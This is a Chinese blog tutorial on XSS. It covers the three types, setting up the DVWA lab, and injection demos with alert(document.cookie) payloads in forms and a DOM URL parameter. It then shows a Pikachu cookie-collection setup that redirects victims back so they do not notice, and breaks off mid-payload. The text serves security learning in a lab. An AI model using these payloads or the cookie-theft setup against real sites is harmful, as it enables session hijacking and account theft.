XSS跨站脚本攻击

本文详细介绍了XSS跨站脚本攻击的原理、类型(反射型、存储型、DOM型)及其危害,提供了环境搭建教程。通过实例演示了如何利用XSS攻击窃取用户cookie,并展示了在DVWA不同安全级别下的XSS利用。此外,文章还讨论了XSS攻击的应用,包括劫持用户浏览器、钓鱼窃取用户信息,并分享了XSS防御方法,如输入验证、输出编码等。
摘要由CSDN通过智能技术生成

XSS跨站脚本攻击

文章目录

0x01:XSS原理

  • 跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。

  • 恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

    • XSS攻击针对的是用户层面的攻击!

XSS的类型

反射型XSS
  • 反射型 XSS,非持久化,需要欺骗用户自己去点击链接才能触发 XSS 代码。

  • 反射型 xss 攻击的方法,攻击者通过发送邮件或诱导等方法,将包含有 xss 恶意链接发送给目标用户

  • 当目标用户访问该链接时,服务器将接收该用户的请求并进行处理,

  • 然后服务器把带有 xss 恶意脚本发送给目标用户的浏览器,浏览器解析这段带有 xss 代码的恶意脚本后,就会触发 xss 攻击。

存储型XSS:
  • 存储型 XSS,持久化,代码是存储在服务器中的数据库里,
    • 如在个人信息或发表文章等地方,可以插入代码,
    • 如果插入的数据没有过滤或过滤不严,
    • 那么这些恶意代码没有经过过滤将储存到数据库中,用户访问该页面的时候,没有进行编码过滤输出到浏览器上,就会触发代码执行,造成 xss 攻击。
DOM型XSS:
  • DOM,全称 Document Object Model。

  • DOM 型 XSS

    • 是一种特殊类型的反射型 XSS,
    • 它是基于 DOM 文档对象模型的一种漏洞。
    • 可以通过 JS 脚本对文档对象进行编辑从而修改页面的元素。
    • 也就是说,客户端的脚本程序可以通过
  • DOM 来动态修改页面内容,

    • 从客户端获取 DOM 中的数据并在本地执行,
    • 而不需要与服务器交互,
    • 它只发生在客户端处理数据阶段。

危害:存储型XSS>反射型XSS>DOM型XSS

环境搭建

  • DVWA(Damn Vulnerable Web App)是一个基于PHP/MySql搭建的Web应用程序,
  • 旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,
  • 帮助Web开发者更好的理解Web应用安全防范的过程。

1.上传 DVWA 到 我们的centos 主机

  • 把文件直接拖到 /var/www/html 目录下面

  • 然后把文件夹的名字改短一点

    cd /var/www/html
    unzip DVWA-master.zip #解压缩
    mv DVWA-master DVWA  #把名字改短一些
    

    image-20211223092456196

2.编辑 DVAW 数据库配置文件

生成新的配置文件 config.inc.php

cd DVWA/config #切换目录
cp config.inc.php.dist config.inc.php  ##基于模版配置文件,生成新的配置文件 config.inc.php
vim config.inc.php  #打开新生成的文件

修改配置

21行
$_DVWA[ 'db_user' ] = 'root'; #需要修改成你的 mysql 的 用户名
$_DVWA[ 'db_password' ] = 'kali'; #需要修改成你的 mysql 的密码

#27 28行 加上谷歌开源免费验证码 reCAPTCHA 的公钥和私钥
$_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';

保存

esc #结束编辑
:wq #保存设置

image-20211223092759136

3.修改文件权限

 chown -R apache:apache /var/www/html

4.部署DVWA网站

物理机打开网址:

http://192.168.81.135/DVWA/setup.php  #把IP地址换成自己的centos的IP地址
  • 点击 create 即可创建完成

  • 等待10秒即可返回登陆页面

image-20211223093132024

登陆网站:

账户密码

Username:admin
Password:password

image-20211223093252646

安全级别说明
  1. Low(低) -
    • 此安全级别完全容易受到攻击,并且根本没有安全措施
    • 它的用途是作为Web应用程序漏洞
    • 如何通过不良编码实践表现出来的示例,
    • 并作为教授或学习基本利用技术的平台。
  2. Medium(中) -
    • 此设置主要是为了给用户一个不良安全实践的例子
    • 其中开发人员尝试但未能保护应用程序。
    • 它还对用户提出了改进其利用技术的挑战。
  3. High(高) -
    • 此选项是对中等难度的扩展,
    • 混合了较难或替代的不良做法来尝试保护代码。
    • 该漏洞可能不允许相同程度的利用,这在各种(CTF) 竞赛中类似。
  4. Impossible(不可能) -
    • 此级别应针对所有漏洞安全
    • 它用于将易受攻击的源代码与安全源代码进行比较

XSS DVWA Low级别

将安全级别改为Low

image-20211223094010374

0x02:反射型 XSS

  • 这个功能类似一个留言板,
  • 输入信息后下面会增加对应的信息

image-20211223094320423

获取cookie

我们添加一条 JavaScript 代码获取 cookie

在文本框中输入下列代码

#我们添加一条 JavaScript 代码获取 cookie

<script>alert(document.cookie);</script>
  • alert() 函数:弹出警告框

  • document.cookie 显示cookie信息

image-20211223094646818

查看源代码

image-20211223094832894

  • 根据回显信息判断出,显示的文本内容是 Hello $name。

  • 我们输入的信息被存放在$name 变量中。

这里我们弹的是cookie,还可以是其他的内容。

和sql注入有一点相似,就是攻击者可以构造恶意的代码。

<script>alert("你被黑了")</script> 
#弹出【你被黑了】

image-20211223095037717

<script>alert(/hack/)</script>   
#弹出hack

image-20211223095113310

<script>alert(1)</script>        
#弹出1,对于数字可以不用引号

image-20211223095158859

补充
什么是 Cookie?

Cookie 用于存储 web 页面的用户信息。

当 web 服务器向浏览器发送 web 页面时,在连接关闭后,服务端不会记录用户的信息。

Cookie 的作用就是用于解决 “如何记录客户端的用户信息”:

  • 当用户访问 web 页面时,他的名字可以记录在 cookie 中。
  • 在用户下一次访问该页面时,可以在 cookie 中读取用户访问记录。

0x03:存储型XSS

存储型 XSS 和反射型 XSS 的区别
  • 反射型XSS 只会弹一次 cookie 信息。
  • 存储型 XSS 每次访问这个页面都是会弹出 cookie 信息。
  • 因为 存储型XSS 代码已经嵌入在了该 Web 站点当中,所以每次访问都会被执行。
获取cookie
<script>alert(document.cookie);</script>

image-20211223095950952

image-20211223100321799

image-20211223100353777

image-20211223100458344

任意输入名字和消息进行查看

image-20211223100820742

image-20211223100620063

image-20211223100657069

查看源码

我们按F12查看源码 :

image-20211223101226909

数据库中查看:

使用dvwa数据库

 show databases; 
 use dvwa;  
 show tables;
 select * from guestbook;

image-20211223101510742

image-20211223101916199

  • 可以看到我门提交的数据被存放在数据库当中。
  • 每次用户访问页面时 Web 程序会从数据库中读取出
  • XSS 攻击代码,从而被重复利用。

0x04:DOM型XSS

  • DOM,全称 Document Object Model。
  • DOM 型 XSS
    • 其实是一种特殊类型的反射型 XSS,
    • 它是基于 DOM 文档对象模型的一种漏洞。
  • 可以通过 JS 脚本对文档对象进行编辑从而修改页面的元素。
    • 也就是说,客户端的脚本程序可以通过
  • DOM 来动态修改页面内容,
    • 从客户端获取 DOM 中的数据并在本地执行,
    • 而不需要与服务器交互,
    • 它只发生在客户端处理数据阶段。

基于DVWA XSS(DOM)

构造XSS代码:
<script>alert("xss")</script>

完整的代码:

http://192.168.81.135/DVWA/vulnerabilities/xss_d/?default=<script>alert("xss")</script>

image-20211223102513895

选择English之后,网页地址变化

image-20211223102610769

  • 我们把地址栏的English改为我们的构造XSS代码,
  • 然后Enter(回车)后查看结果
<script>alert("xss")</script>

image-20211223102922888

按F12查看源码

可以看到,我们的脚本插入到代码中,修改了网页显示的内容

image-20211223103213021

0x05:使用Pikachu Xss窃取管理员的cookie

攻击拓扑图:

image-20211223103330960

1.环境准备:
  • 先登录DVWA

    • 管理员账户:admin

    • 密码:password

  • 打开pikachu平台

    • 找到我们要利用的模块:
    • pikachu----【管理工具】–【XSS后台】

image-20211223103547982

登录

image-20211223103831134

选中【cookie搜集】

image-20211223103912927

image-20211223104026539

2.修改代码:
cd /var/www/html/pikachu/pkxss/xcookie  #切换到cookie相关的目录
vim cookie.php

image-20211223104317344

  • 把图上黄框那一行里面的网址修改为一个可信的网站:
    • 这里的意思是当用户点击后
    • 向我们的XSS平台写入cookie后
    • 再跳转回原来的页面

这里我们跳转到原来的那个页面

header("Location:http://192.168.81.135/DVWA/vulnerabilities/xss_r/"); #跳转原来的页面,这里IP改为centos的IP地址
注意:

如果没有这一步 用户点击我们的链接后会一直停留在我们的黑客服务器的页面上,从而引起用户怀疑

3.构造payload:
<script>document.location='
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值